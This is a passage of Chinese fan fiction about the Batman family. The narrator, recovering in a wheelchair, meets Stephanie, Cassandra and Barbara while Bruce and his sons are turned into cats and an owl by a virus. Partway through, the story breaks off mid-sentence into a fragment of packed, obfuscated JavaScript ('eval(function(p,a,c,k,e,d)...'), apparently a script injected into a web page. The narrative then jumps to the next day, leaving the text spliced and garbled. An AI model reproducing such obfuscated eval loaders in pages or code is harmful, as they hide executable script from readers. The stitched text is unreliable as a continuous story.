在途中颠簸的心事却在熟悉的气味中冲散,连隐隐作痛的脏器都仿佛发出舒心的喟叹。 我啄了口猫的眼角,在他的呼噜声里才注意到跟在他身后过来的格雷森。青年同我先前那样单手打着夹板,神情也称不上放松,戴着口罩地朝我打招呼: “欢迎回来,正好史蒂芬她们还没走,待会儿介绍你们认识。” ……奇怪的问候语,这里又不是我的家。 这点算不上什么的小疙瘩很快被他后半句的重点盖过,需要面见陌生人的紧张令我不由抓住了身旁动物的脸颊毛。 在大猫轻轻的“嘶嘶”声里,老管家推着我往大门走去:“卡珊德拉小姐和史蒂芬妮小姐都是非常好相处的女士,您不必为此忧心。” “卡珊昨天就问过我你什么时候回来了,”格雷森绕到了轮椅的另一边,并没有向往常那样离我们太近,“她和你一样都是亚裔,之前一直和史蒂芬一起在香港执行任务——相信我,你总是很容易就能讨人喜欢。” 他的补充没有安慰到我半点:[……你不用这么夸张的,我也没有很紧张。] 为表真实,我不得不把手里攥着的猫毛松开去打字,余光里猫男友飞快抖了抖脑袋,仿佛我刚刚真的使了很大劲。 “……也许是我记错了,但我们初次见面的时候,你一口东西都没吃,还把椅子紧紧贴在布鲁斯旁边,”故作思忖后,格雷森略带调侃地眨了下他的蓝眼睛,“直到他给你切了肉。” 不待我反应,身后的老人便笑出了声:“也许只是因为小姐盘中的食物不合她的胃口。” 比起找理由,阿福先生的帮腔更像对格雷森的附和。我只觉血液上涌,耳朵被头发捂得发热,却没法真的对两人恶言相向,能做的唯有狠瞪一眼满脸挂笑的青年。 他似是被忽来的冷风冻了个激灵,转而摸摸鼻子,视线逃也般落到猫身上。 “我不说了,再说就要有人从轮椅上站起来捶我了。” 见他如此识相,我勉强放下打字和对方再辩三百回合的念头,第一次觉得喉咙受伤是件那么不方便的事。 一行人很快走入室内,大宅的地暖令人身处春季,身边两人很快脱掉了外套,阿福先生接着过来拿走了我的围巾。我只穿了半边大衣,扣子倒是有点难解,四根手指奋斗半响才把它从扣眼里剥出来,格雷森好像有点看不下去,但踟蹰了两步又选择待在原地。 我大概明白他在犹豫什么。 把黑色大衣最后搭在靠门的衣架上,老管家便从轮椅底下抱出几个购物袋,猫一向对到人手里的东西更感兴趣,此时也凑过去嗅闻,只是体型太大,嘴筒子伸进去的时候差点把牛皮纸袋给撑破了。 给猫拍照讲究眼疾手快,小指的骨折影响了我发挥,留在手机里的就变成了一团糊糊的黑影。 ……也挺可爱的,还是保留下来吧。 “东西就给我吧,还是放厨房吗?” “是的,保温袋里的需要放进冷冻层……” 在我专注拍照的数秒,另一边的两人已把购物袋放上桌——阿福先生倒是想直接递给格雷森的,只是任何需要拉近距离的举措都被他摇头拒绝了。青年用单手并不方便,行动间,袋里的苹果滚落到我脚边。 我先老人一步,把果子捡在手里。 [让格雷森送我下去吧。] 越过管家的肩膀,我和皱着眉的罗姆人青年对上视线,他拒绝的前兆我看过太多次——就是这种会令我联想到男朋友的瞬间,于是提前比出暂停的手势,低头打字: [我有话想问他,麻烦你了,潘尼沃斯先生。] 老人对我临时找的借口没有质疑,目光转了一圈,忽视了格雷森的不乐意:“我只希望您别什么都学老爷,待在洞里就不上来,楼上的床总比下面的沙发舒适许多,我还在枕头里塞了助眠的薰衣草籽。” 虽不意外对方能看出自己没休息好,我仍下意识和陪在身旁的大猫对视一眼,他应景地打了个哈欠。 [当然,我看过下面的动物园具体发展成什么样就去休息。] “咳咳……你们是不是忘了询问一下另一位当事人的意见?” 眼见老人和我达成协议,格雷森收紧手臂,抱着购物袋像是举着枚盾牌。阿福先生这回没再管年轻人的顾虑,上前干脆把牛皮纸盾卸下来: “难不成迪克少爷是想让小姐一人推着轮椅下去?” “她可以——” 青年望着瘸了腿的猫爸爸终是闭上了嘴。 和一人一猫目送管家离开,我把苹果放到猫脑袋上,好整似暇地打量着把头发揉乱的格雷森。 [怕什么?这栋宅子里你最不用担心感染的就是我。] “话不是这么说的……”大抵是读出我神情里的笃定,青年在短暂的纠结后还是挎下肩膀,过来帮我推轮椅,“你在路上应该也了解过现在的情况了,还有什么是要专门留下我的?” 考虑到我需要打字,他的动作十分和缓,大猫顶着苹果,稳稳地随我们走起来。 [你就这样一直和别人保持距离?] “……这样对所有人都好,要不是小芭反对,我和提姆都应该关在牢里。” 对方的声线有些低落,我的身后像是长了株晒不到太阳的向日葵,不复往日的活力。 [合理的选择,就是没什么人情味。] 格雷森闻言笑了两声,似是刻意挤出来的:“为了任务能和加害者握手言和的你不该完全赞同这种做法吗?” 我品出些微妙的、仿佛埋怨的味道。 室内的光照柔和,余光能瞥见窗户上青年的侧脸,以及被他垂眼注视的我——还有布鲁斯脑袋上红彤彤的苹果,我没多看,专注于手机屏幕上: [如果是我站在你的立场上,我一定也会作出和你一样的选择。] “我毫不意外。” [但你和我有一点不同,你是需要从外界汲取能量的类型,让你刻意和家人保持距离并不好受。] 轮椅蓦地停了片刻,猫也感觉到了大儿子的不对劲,转头时苹果咕噜噜滚下来,我忙着把它捞回腿上,压根来不及看身后人是何种表情。 “你在……尝试安慰我?” 意图一旦被挑明,我亦感到些许不自在,手肘撑住轮椅两侧,回身对上青年睁大的双眼。 口罩 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剩下的话他欲言又止。我们都知晓泥面人射出的子弹里还含有兴奋剂,极有可能是没了能致使氪星人失控的红氪石粉末后的第二选择。 话题被转到正事上了。我不确定这是不是格雷森不想和我谈论他自己的问题,但还是顺势延续下去: [他埋伏在那定是有人授意,你接触他比较多,这个人有和光头佬联手的可能吗?] 停的时间有些久了,大猫又打哈欠,我有点怀疑他是不是也没休息好,拍拍轮椅把手,要格雷森动起来。 青年顺从了我。 “泥面人之前因为事故分散了身体,有一部分躲在哥谭的下水系统里,始终游离于本体之外,”边走边说,他的语气也染上两分沉重,“卢瑟或刺客联盟能找到他并非不可能。” [那就先从最坏的预测开始,我无法被感染的事你们没有和莱斯利医生提过吧?] “当然了……”似是想到什么,格雷森微微叹口气,“不管怎么说,泥面人都不知道你的真实身份,去诊所的路上我们也做过反跟踪,你不必太担心他找到诊所去。” [但他若是光头的人,就会想要我的血样或是病理记录,而且当时我的制服也没换过,万一有淤泥残留,还是有可能被他追过来的,不是吗?] 字打到这,我反而生出些许懊悔,[或许留在诊所更好,即使真的发生了什么,泥面人更多的注意力还是会放在我身上……] 语音还没播放完,格雷森就略微提高音量:“我只庆幸你这次早早就回来了——别再想着当什么诱饵,绝对不行。” 太过明显的焦急。 除却养父的委托,理查德·格雷森本身就是个非常有责任感的人,这和他长时间处于一个需要照顾他人、领导他人的位置有关。我不意外会被他纳入蓝色的羽翼下,脑海里倏地涌入了被咬伤后的回忆。 拖着扭曲手臂、拨开人群冲过来的夜翼,还有紧随其后,连头盔都掩盖不了喘息声的骑士。 陶德是故意被我放大过愧疚感的,我对于利用他来保护自己没有任何负罪心理,但看见格雷森汗津津地惨白着一张脸……我只恨彼时的自己没能立刻昏过去。 由于实在痛得厉害,我似乎还咳了点血,倒是勉强抓住夜翼的蓝手套……说了什么来着?好像是表示自己没有大碍,让他去关心一下没出现的猫和其他人。 总之,我直觉让他留下来看骑士把超级拉布拉多的牙拔出我胳膊铁定不合适。 最后也不知道他那时走没走,毕竟拔牙直接把我痛休克了。 长时间的沉默后,我在一阵织物垂落头顶的触感中回过神,仰头正对着青年蒙住下巴的口罩边沿,眼镜都被稍稍碰歪些许,他好像也没料到我的突兀动作,蓝眼在羽睫中簌簌抖动,瞳孔骤然紧缩。 下一瞬,我和他同时弹开了与对方的距离。 大猫被我抱着,不轻不重地“喵”了一声。 ……救命,要是布鲁斯变回来记得这段,我要怎么解释?! 我心虚地把猫抱得更紧,不敢看猫男友这时的脸色——往好处想,之前还没交往的时候我谈恋爱也没瞒过他,布鲁斯甚至知道我十七岁以来的每一任情史,既然他都没表示过对我前男友的在意,应该也不会因为这点小误会而生气? 格雷森还是他儿子呢,他更应该大度点才对。 给自己打了一套说服组合拳,我总算不再慌慌张张的,松开了抱着猫的右手。 再一看,猫见我一动不动盯着他,还凑过来舔了我一口。 动物的懵懂叫我松了口气。 这次没法理直气壮地凶他把口水留在我脸上。 我隐忍地拿袖子擦了擦,转头就撞上格雷森笔直而来的视线。我和他谁不比谁尴尬,当下无一人开口,气氛静谧得落针可闻。 猫左看右看,最后又打哈欠。 [赶紧下去吧,]我借着低头打字的空档平复心绪,[我想早点带猫回去睡一觉。] 青年接着微微吐了口气。 “好,这些毛绒一族都不怎么省心,你要是能像之前那样驯服他们是最好的。” [……我只是不会被感染,又不是天选驯兽师圣体,]我仍在努力尝试忘记方才的乌龙,一边给格雷森打预防针,[检查报告里也没有任何变化表明我觉醒了超能力。] 这亦是义警们百思不得其解的,哪怕是魔法,多少也会反过来体现在身体上,例如脑神经的额外活跃之类的,但我永远是老样子。 “那就很难解释你的血液令小乔身体里寄生的病毒不再进行裂变,正是病毒蛋白的改变才让他立刻失去意识,”格雷森重新推上我的轮椅,彼此都默契地跳过了泥面人的话题,“这件事知道的人越少越好,暂时我们把病毒的稳定归功于混血氪星人的体质有所不同,实验室那边已经提取样本进行研究了,相信很快就能有所突破。” [这是个好兆头,但我看网上已经有人捕风捉影,你确定这不会引起光头佬的算计?] “现在的哥谭最需要能振奋人心的消息,”我所言的义警们肯定也考虑过,但格雷森终是选择不去干预,“我们也不会再给敌人二次闯入星辰实验室的机会。” 话说到这份上,我也就放下顾虑。交谈间书房近在咫尺,两人一猫进去时恰巧碰见座钟挪开,大敞着的电梯门里虽站着位金发碧眼的女孩,却听见她头顶的天花板传来一阵沉闷又杂乱的敲击声。 格雷森登时变了脸色,上前两步把我挡到身后。遮蔽的视野前方又是叮铃哐啷的混乱动静,女性中气十足的声线夹在其中格外明晰: “迪克!鸟宝宝飞出来了!” 而后,和宝宝体型完全不相符的黑影张开巨大的翅膀,叽叽咕咕地一头砸在飘窗的玻璃上。 还有只熟悉的公鸭嗓小猫坠在他身后,喵嗷一声就和晕头转向的大鸟缠在一起,你抓我来我啄你,打得那是难舍难分。 不用谁说,我都认出那身棕黑色羽毛的长耳鸮百分百是德雷克无疑。 好吧,猫头鹰怎么不能算是猫呢! 25.25 大鸟唧唧鸣。 小猫嗷嗷叫。 上去拉架的一男一女多少有些无从下手。 而我遇事不决就举手机拍照。 快门声过后是大猫搭上来的爪子,我在他眯起的竖瞳里迅速收起笑容,这才令他扭过头去,冲混战中的两只动物发出威胁般的低吼。 事实证明你爸永远是你爸,兄弟两不约而同缩了缩脖子,达米安吐掉嘴里的翎羽,德雷克松开带毛的脚爪,两只动物分立飘窗两侧——似是还有些不服气,猫头鹰仗着腿长还想去踹黑猫两脚,但随着猫老爸慢慢踱步到他们中间,再不老实的小孩也乖乖站在了原地。 终于,剩下有些狼狈的人类们也跟着松了口气。 受到波及更多的自然是格雷森,他正郁闷地把一根羽毛从蓬蓬的卷发里揪出来,但我的目光更多停留在隔壁,金发女孩裹得严严实实,手上还戴着防咬的厚手套——刚巧对上她碧眼中毫不掩饰的好奇,我立刻低头打字装忙: [能说说是谁先动的手吗?] 顺便借屏幕反光观察一下自己的仪容,勉强能看——早知道还是该化个妆再回来的。 心中腹诽着,我对女生礼貌地展露微笑。 “这个……我其实也不是很清楚,”对方摸了摸发丝乱翘的后脑勺,似是不太好意思,“我本想先上来看看情况的,后脚提姆就钻了进来,紧跟着就是达米安——打着打着他们俩就窜到电梯井里去了。” 说着,女孩步伐轻快,体谅着我坐轮椅的不便而主动靠近,“我是史蒂芬,终于见到你本人了,布鲁斯真是个闷葫芦,换我有这么可爱的女朋友一定会昭告得天下皆知!” 她的握手相当有力,短短接触我就摸到了她虎口的薄茧,而女生并不急着松开,指腹还捏了捏我掌侧的软肉。 “……!” 面对她热情的笑容,我就是只下水道里陡然见光的老鼠。 也难怪布鲁斯会让这样的女孩当他的第一任女罗宾。 努力控制着肌肉不往回缩,我若无其事地松开手,本想用打点字再寒暄两句,哪知金发姑娘是个急性子,紧接着又是一串关心雨点般砸向我: “你的身体还好吗?提姆说你喉咙的淤血要一周才能散干净,好可惜,我们本来还想约你一起去唱卡拉OK的!不过家里终于又来了一个女孩子,能凑齐四个人能玩卡珊说的那个什么……麻酱?” 对方的嘴唇一开一合,可能是这两天太过忙碌的缘故,有些干裂泛白。我的注意力被拽走些许,以至于当她望着我等待回答时,我都没听清她的后半句话。 这时候挪开视线求助谁都不太礼貌,更别提布鲁斯现在只能喵喵,没法救场。 背后沁出了些汗,我推了推眼镜,刚要随便点点头应付过去,忽地听见格雷森的声音如天降甘霖:“我知道你很急,史蒂芬,但你得给她留点打字的空间。” ……圣理查德,我会记得这份解围的恩情一辈子。 “噢……抱歉!”女孩眨了眨她亮晶晶的眼,似乎才意识到自己的热情让我有点不自在,“是我兴奋过了头。” 下意识地,我眯起眼摇了摇脑袋,终于能腾出点空档礼貌地回话:[我也很高兴认识你。] 记得这件裙子口袋里还装着润唇膏,但递出去会不会显得太自来熟了? 纠结的事没能理出个头,史蒂芬妮便被一条黑尾巴往旁一拨,小猫明显被老爸舔过毛,皱巴着一张脸就要上我的腿。 苹果被他屁股一挤,又骨碌碌滚上地毯。 “喂小子,先来后到懂不懂啊。” 金发姑娘的抱怨没换来动物的一个正眼,见我也不阻止,面上多了点担心,“他很重吧,会不会压得你不舒服?” 说话间,大只佬也驮着猫头鹰走了回来,格雷森依旧落在最后,拾起了那枚多灾多难的苹果,我收回逗留在他那的视线,抱住猫摇摇头:[他能闻到我的伤口在哪,会自己避开。] “算他还有点良心。” 小猫好像对自己的体型丝毫没有自觉,确定我的味道依旧熟悉后,便窝成毛茸茸一座小山,稍稍低头就能把下巴搁在他头顶。我抚过他腰间略有松动的绷带,伸手指了指座钟后的电梯,史蒂芬很快理解了我的意思。 “正好,还得下去重新包扎,我得和小芭说一声把提姆和达米安的窝隔两层楼放……” 带着点头疼,金发姑娘推着我率先进了电梯,里面的空间勉强能挤得下我们所有人,但免不了要互相挨着。我始终留意着格雷森的一举一动,青年的脚步稍有停顿,我便干脆拉了一把,让他进来和我们一起承受猫毛洗脸。 至于是谁的毛——瞧瞧弯腰驼背也依旧塞了半电梯的猫爸爸就知道了。 猫头鹰从他背上滑下来,脚爪一勾,稳稳立在轮椅的扶手上,不过这么一来便不可避免地又和小猫挤在一起。我及时伸手挡在两小只中间,主要还是得捏住达米安的嘴筒子。 “……杰森说你是迪士尼公主还真没错。” 生怕一鸟一猫又掐架,我只睨了一眼开口的格雷森,倒是另一边的史蒂芬接他的话茬:“提姆昨太刚变成鸟的时候一直待在恐龙雕塑的头顶,还是喂过两顿饭后才愿意亲近人,哎呀——他还想帮你整理羽毛呢。” 棕黑相间的长耳鸮垂着大大的蓝眼睛,张嘴把我垂在耳边的头发叼到耳后去,可他的动作却被底下的小猫当成了挑衅,达米安喉咙里又泛出咕噜咕噜的响声。 所幸大BOSS就在头顶,猫爸爸仅是垂下脑袋,我腿上蠢蠢欲动的爪子便不再轻举妄动。 我随后不轻不重地捏了下猫鼻子,可能是闻出我虚弱得接不了他一击梅花掌,小恶魔猫偃旗息鼓,引得猫头鹰哥哥发出咕咕笑声。 德雷克的幸灾乐祸在他变化后表露无遗。 关于莫名其妙增长的动物缘,我大概找到了答案。 见我开始在手机上奋笔疾书,在场的人类都默契地不再多言,电梯“叮”一声打开后,我也给出了自己的猜测: [有没有可能,变异动物之所以亲近我也是因为病毒本身的不稳定性?他们的感知方式与人类不同,所以能先于仪器发现我有问题,另外还得做一下对比实验,比较一下解决裂变的单单是我血液中的成分还是结合了混血氪星人的基因才能发挥作用。] 出乎意料,这一番话后无论是格雷森还是史蒂芬妮都一脸菜色。 女生推我出电梯:“……总觉得这种无论说到哪最后都能拐到科学解释上的作风有点耳熟……” 我还有点不明所以,只隐约感觉自己似乎戳破了对方带着童话风味的憧憬。 “我也有同感……”跟在后面的格雷森语调里满是无奈,角度问题,我没看见他投向猫头鹰的一瞥,“实验可以做,但绝对不是现在,你没意识到自己嘴唇有多白吗?” ……还真忘了贫血的问题。 我回头瞟了一眼,大猫的尾巴在电梯门关上前晃了出来,没被夹到。他对人类的话题没有兴趣,却不像平时那样直接窜进岩壁之间,许是被咬伤的后腿没法支撑他爬上爬下。 这点观察时间并不耽误我回复兄妹俩,蝙蝠洞保留着戈登残疾时建设的辅助设施,史蒂芬妮在我打字的空隙把轮椅放上阶梯旁的升降台,仿佛扎根在我这的两只动物对缓缓下降的移动方式不怎么习惯,探头探脑的。 [抱歉,不过这个可能性能解释变异动物在警局的初次暴动,但具体关于它们是如何辨认出不同的还得另说,我还需要和最近变化的义警们再多相处一段时间,超级小子苏醒后并没有在习性和表现上产生明显的变化,那么两只猫的高配合大概率还有其他因素存在……] 剩下的字并没来得及打,一截麦色手腕兀然横亘过来,合上了我的手机翻盖。 “我以为你回来是因为在诊所没法好好休息,”格雷森从我侧后方重新直起腰,声音闷闷的,“即使是蝙蝠侠本人也不会这样苛待自己。” 他背光的眼珠和我的碰到一处,我微妙地泛起些不爽——这下倒是不再保持距离了,这家伙是不是对说教我有点上瘾? 青年很快挪开视线,可能是觉察到我的表情不怎么开心,史蒂芬妮有意挑动气氛:“迪克诓你呢,以工作狂的程度来说你和布鲁斯真是绝配,不过他身体素质够好,你要不伤好了和我们一起锻炼,省得某个爱操心的大哥管这管那的。” 被家里妹妹拆台,格雷森微微叹了口气:“史蒂芬……” “我又没说错,”金发姑娘怼完大哥后冲我眨眨眼,“好不好?” 她刚刚好像很自然地肯定了我和男友的关系。 当下我满脑子都是对方的前半句话,没忍住攥紧手指,被我一把抓住腿的猫头鹰充满困惑,用轻啄敲回了我飘飘然的灵魂。 于是我一边在小鸟的毛绒裤腿上胡乱抚着,一边飞快点头。 这回轮到格雷森不可置信:“……之前谁说自己死都不会上跑步机的?” 我才意识到自己答应了什么,但面对史蒂芬妮颇为得意的漂亮脸蛋,终究是没打击她的兴致。 “跟你们一群男的锻炼多不方便,当然还是和我们一起更好,”女孩儿连计划都安排好了,“等麻烦事都解决了我们一起逛街吧?城中有家商场新开了很多运动衣商店。” 考虑到义警们的平均耐力,这件事百分百吃力不讨好。 但我还是艰难地点了头。 长长的阶梯到了底,直连着摆放着蝙蝠电脑的主平台,得到肯定的史蒂芬妮笑容愉悦,迫不及待地去和坐在电脑前敲敲打打的戈登分享这个消息。 我终于得空长长叹气。 “……我说什么来着,你会很受欢迎的,”轮椅把手被人握住,我一回头就对上青年似笑非笑的眼,大猫跟着跨过最后几阶石阶,回到我身侧,“可你不是不喜欢逛街吗?” 格雷森知晓我家里蹲的本性,完全没必要多此一举。我品出些莫名其妙的不虞,可能是这位万人迷在计较自己不如金发碧眼的大美妞更讨人喜欢: [我之后会想办法把这次外出变成网购,请不要告诉你妹妹。] 没有按下播放键,我把手机横到对方面前。 大猫很好奇地也凑过去看,他这一动,猫头鹰也跟着挪了爪子,踩到轮椅椅背上伸出头,原本还假寐的小猫更坐不住了,够着我的手肘想把爸爸和哥哥感兴趣的破方块拉下来看。 结果三只动物轮流看了一遍,最后才轮到被挤到后面的格雷森。 青年脸上只剩猫毛和隐忍:“……你如果不想出去,是可以选择拒绝的。” 许是考虑到与当事人的距离,他压低了音量。 很难跟他解释我没那么擅长拒绝同性的要求,尤其是在对方如此友善而且几乎不会与我在利益方面产生冲突的情况下。 [你可以当我对她比较感兴趣。] 格雷森注视着屏幕的眼睛眯了起来。 “你们在那说什么悄悄话呢?” 不待他再开口,对话的主人公便侧头望过来,戈登的视线同样投到我脸上。我向她略略颔首,红发女人也转过椅子,很自然地打招呼道:“欢迎回来,乐佩。” 这是在调侃我此刻被动物包围的现状了。 仍是不太习惯她的问候语,我在轮椅的前行间低头打字: [其他人呢?] 似是回应般,斜上方的子平台传出些器械坠落的响动,史蒂芬妮对此反应很快,冲过去的同时不忘回复我:“这呢这呢,上去之前我正帮着卡珊给凯特喂药。” 虽然不知道具体指谁,大概率不是猞猁就是黑豹。 剩下两只超级大狗都待在实验室,我稍微听阿福先生提过一嘴,说是可能会把它们也接回来——在我看来,蝙蝠洞或许是少数几个能完全让人感到安全的地方之一。 我有意直接追过去,估计着格雷森多半要留在电脑前和戈登商讨些事情,正想捣鼓一下轮椅的电动功能,忽地听红发女人语带好奇: “还没记住蝙蝠女侠叫什么?一起吃饭的时候你倒是能精准叫出我们每个人的姓氏。” 才意识到自己的疑惑被看穿,我摸摸脸,戈登又笑起来,“你的神色变化比之前更明显。” ——不能说话的第二大坏处又来了,我本就没在表情管理上受过系统训练,又被这么一提点,只好闷头打字:[再怎么不擅长,有人年复一年地提起也是能记住的。] 语音播出,身旁的人类齐刷刷看向坐在原地的大猫。动物面对着子女的微妙反应,无知无觉地打了个哈欠,压根不知道自己老底都被我揭了。 见他们俩都陷入略显害羞的沉默,我终于在猫头鹰的肚子毛里摸索到轮椅的开关,推了两下就往前走。这一动干脆把其他所有人和动物都牵在身后,格雷森几乎迫不及待地发问: “你们平时都聊些什么?” 戈登的镜片同时反射出探究的光芒。 剩下的小猫和鸟倒是对自己动起来的轮椅拉走了注意,德雷克张开的翅膀扇了我一脸风: [你们是想问他提起你们的频率?基本他的倾诉中心有大半都是家人。] 没法一手二用,我打字的同时青年就重新握上轮椅把手,把三人份的体重推上了隔壁平台。字句播完,我来不及看哥哥姐姐们对此的反应,视线已滑向灯光下那副“武松打虎”图——短发亚裔死死压制住比她大了一圈的猞猁,眼疾手快地接过了史蒂芬抛来的药片,丢进猫嘴再用力合上,不给对方任何吐出来的机会。 对方周围散落了一地医疗器皿,角落还蹲着只虎视眈眈的大黑豹,亚裔丝毫不慌,鹞子翻身似地从猞猁背上落地,棕眼睛往我这挪了一瞬,很快机敏地观察着不远处的两只动物是否会反扑上来。 我挠挠猫爸爸的颈毛,他歪头过来,似乎已经明白我在评估些什么,身体力行地迈步挡在亚裔身前,用颇具威胁力的低吼证明他无可撼动的领袖地位。 小猫见状,也甩甩头下了我的大腿,习惯性给父亲助阵,于是猫头鹰顺理成章地窝了过来。 他的体重和身形受制于鸟类的自然生长,比猫更轻盈娇小,被我顺势摸了脑袋也只是眯眼睛——和他本人一样乖巧。 只是被他这么一挡,等我探向斜后方,四只猫科动物的对峙已经在喵喵嗷嗷的叫声里走向结束。带着防咬手套的两个姑娘准备给猞猁和黑豹套上项圈,可即使有蝙蝠猫父子在侧,她们也拒不配合,龇牙咧嘴间已经可以看见身上的绷带沁出血色。 局面陷入僵持,史蒂芬皱着眉,比起不耐语调里更多是担心:“你们当初是怎么给猫咪带项圈的?” “麻醉针昨天用过,”这是我第一次听黑头发的亚裔开口说话,冷冰冰的,用词相当精简,“她们提高了警惕。” 戈登和格雷森都是看着我成功的,此时眼神便集中过来——我想他们可以采取更强硬的手段,但终究面对的是有着深厚情谊的同伴,因此才更希望能更温和地解决此事。 问题是,我对陌生猫也有点犯怵。 [也许放置片刻更好,]我的提议迎来了几人不解的目光,[让布鲁斯看着,她们也不会钻到危险的地方。强烈的光照和人类的摆布都会让动物更加紧张,我明白你们的顾虑,但多少也要给她们留出独处的空间。] “可凯特的伤……” 史蒂芬仍是放心不下。 [夜训时间快到了,我会留下来看看情况的,实在不行还有潘尼沃斯和格雷森,别担心。] 被点名的青年看上去还想说点什么,一旁的亚裔却已是调暗了灯光,走过来很认真地看着我: “拜托你。” 她的信任交付得干脆,我抿抿唇,也同样认真点头。亚裔见状虽依旧没什么表情,却把自己的防咬手套脱下来,搭在了猫头鹰的脑袋上。 德雷克把头扭了180度,明显不太高兴,但目的达成的黑发姑娘压根不管鸟兄弟的小脾气,拉着史蒂芬妮就要去换制服。 被她这么一带动,搅局者小姐也不再迟疑,最后匆匆留下几句关照,比了个加油的手势便跟着去往更衣室。剩下的戈登环顾一圈——她也是夜巡的主力之一,毕竟总不能放着随时有变身风险的夜翼在外面荡秋千——见人员减少令角落的猞猁和豹不再像之前那样表现凶悍,只得妥协道: “我还答应过阿福会劝你早点回去休息。” 老管家可能是这群人里最了解我习性的人之一。 其二便是眼前沉下脸的格雷森。 “……否则怎么会和蝙蝠侠凑成一对,”他并不高兴,却不会像陶德那样句句阴阳怪气,只是略略叹息,“现在猫都打第五个哈欠了,你对男朋友的怜悯之心呢?” 大猫的确慢半拍地闭上了嘴,兢兢业业和小儿子一起守着不令猫省心的两只同类。 我当然也想直接带着他回房间闷头睡大觉:[正事要紧。] 想了想,又补充几行:[大哥很会催人上床睡觉的,放宽心,明天我们可以把刚刚中断的话题续上。] 有机会得知蝙蝠侠在其他人那是如何提及自己,戈登的好奇终是占据上风,她伸手捏了一下我的胳膊,含着轻柔的埋怨意味:“你拿我当小动物哄呢——行吧,勉强同意把你交给迪克了。” “我以为自己还算可靠的那一类……” 调侃说到一半,青年在红发女人瞥去的一眼里微妙地停顿,戈登看了眼表,在离开前丢下一句: “大部分时候吧。” 这是只有日积月累的相处才能堆积起来的言下之意。我和猫头鹰一起盯向格雷森的脸,他拉起口罩,几乎要把整张脸遮住,半晌见我们都没有放弃探究的意思,才开口:“你能让提姆转个身吗,这样怪吓人的。” 猫头鹰还保持着他的180度,灵活的身子随着我的轻拍扭了过去,脑袋岿然不动,稳定得能顶着摄像机拍个纪录片。 他头顶的手套已经被我取了下来,耳羽重新翘起,发出轻轻的咕咕声,可格雷森还来不及回应,本来还算安生的小猫却忽地爆发出一阵嚎叫。 我原以为是又发生什么变故,忙不迭拨开德雷克宽大的翅膀——不远处的三只大人猫还好端端地在那,唯有小孩猫一个爆冲就要扑过来,险险被大哥提着项圈勒在半途,粗尾巴生气地直往他小腿招呼。 哪怕听不懂,光凭语调也知道小猫骂得有多脏。 “达米安!” 遭到呵斥的猫毫不收敛,张嘴就是哈气。 青年与我都有些不明所以,但多少能瞧出他的愤怒直指猫头鹰。德雷克对此却十分淡定,还有心情低头蹭蹭我—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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哪怕睡觉时间足够长,我仍有气无力地挥别才热身完准备真人快打的史蒂芬妮和卡珊德拉(她昨晚夜巡回来才补上了自我介绍),放下今天的下午茶后往楼上走。 已是第二天下午,我在书房前还碰见了准备去蝙蝠洞的戈登,女人似乎知道起床时的骚动,好心地给我当了一会儿拐杖: “怎么不用轮椅?我听说猫头鹰笃笃笃去敲你的窗了,还看见了房门那的爪痕。” 前一个问题其他两个姑娘也问过,我熟练地重复第二遍: [睡饱了走两步的力气还是有的,就是那一鸟一猫把叫我起床当成了某种竞争游戏,]提起这个我打字的手都用力了几分,[一个看不好就会发现其中一只少了点毛,我真怕他们变回来成两个秃头。] 仿佛想象到那副画面,戈登镜框后的蓝眼睛笑得眯了起来:“……可能是你一口气睡了十几个小时,换我也会有些担心。” 我总不能告诉她自己在诊所的时候就没怎么闭过眼,泥面人那种能随时取代身边人的能力着实令我毛骨悚然,在确认他被关进监狱前我都不怎么想出门。 [大概是因为待在这很有安全感,]而且不开空调室内也不会有冷风嗖嗖地漏进来,甚至我偶尔会担心自己住惯了好地方之后分手了该怎么办,[而且还有天然火炉。] 指的是会陪睡的大猫。 对我的解释,戈登不置可否,她挽着我胳膊时会不自觉揉捏内侧的软肉,就和我国内的朋友一样,大抵是觉得手感不错:“那就好,男孩们都在会客室,你去接他们散步前顺便把迪克喊起来,让他把轮椅带上。” 为自己的体力着想,我依言点点头,年长我几岁的女人这才露出满意的神情,像是家中堂姐般替我整理了一下长发。 对于同性,我并不怎么排斥这种身体接触,但还是后知后觉地有些脸红——虽说洗护产品都是一样的无香型,但戈登许是用上了我推荐给她的精油,指尖隐约有香味萦绕。 怎么用了同系列我却没她那么香喷喷的,是香型不同的关系还是被猫味盖了过去? 女人听不见我心中所想,本是直接按了电梯,又忽地转过头来,面上带了些欲言又止。 撇开发散的思绪,我不确定她是不是在思考格雷森的事,但既然对方主动提及,能顺势和戈登这样与他青梅竹马的老熟人聊聊也好: [格雷森或许更愿意到洞里和你们讨论工作,他一没事干就会显得忧心忡忡的。] “……”闻言,戈登推了下眼镜,声音停顿片刻才响起,“我知道,无能为力的滋味很令他难受。” 那为什么还要赶他和我去散步? 我的疑惑不加掩饰,面前人却对此有所预料,她摇摇头:“需要解决的问题我们昨晚就做过预案,迪克现在必须从他的责任感里解放片刻——和我们待在一起他只会束手束脚,但也不能放他一个人坐冷板凳,迪基鸟还挺怕寂寞的,容易思维泛滥钻牛角尖。” 不愧是从小一起长大的情谊,戈登比我看得更透彻。 [所以正好轮到我这个既能交流、又不会被感染的人派上用场。] 随着我打完字,戈登露出一点笑:“你又不是什么工具……我反而担心迪克会在你面前孔雀似地开屏个不停。” 这就是她方才犹豫着不进电梯的原因?戈登的顾虑从不在我的考虑范围,我却不由为这种体贴而心暖——哪怕格雷森不是那种会骚扰女生的类型,她依旧选择站在我的立场思考问题。 [他只是被布鲁斯拜托着照顾我,]边打字,我想起罗姆人有些过界的保护欲,[或许这种责任感会让他生出些错觉,但那终究只是错觉。] 女人的蓝眼睛在镜片后微微收缩。 她显然听懂了我的言下之意,老实说,在刚才之前我可能都不会向格雷森的亲近之人坦白他向我释放的信号,可戈登既不是那种会无理由帮亲的人,让她了解我并无其他心思也算托底。 又不是没谈过恋爱的懵懂少女,我对异性的青睐并不陌生,却也清楚明白类似的情感很容易混淆。 格雷森与我年岁相当,本就在彼此的狩猎范围,再加上他强烈的“白骑士情节”,产生些不必要的误会很正常。 但同样的,我相信有布鲁斯在,格雷森自己也会想清楚的。 一切等我的猫变回男朋友就好了。 戈登没再多说什么,反而小小一声叹气,拍了拍我的肩便乘坐电梯去了蝙蝠洞。这种事多谈徒增尴尬,我理解她的回避,旋身往反方向走。 可若是她介意我和格雷森之间的相处方式,为什么还要把他交给我呢? 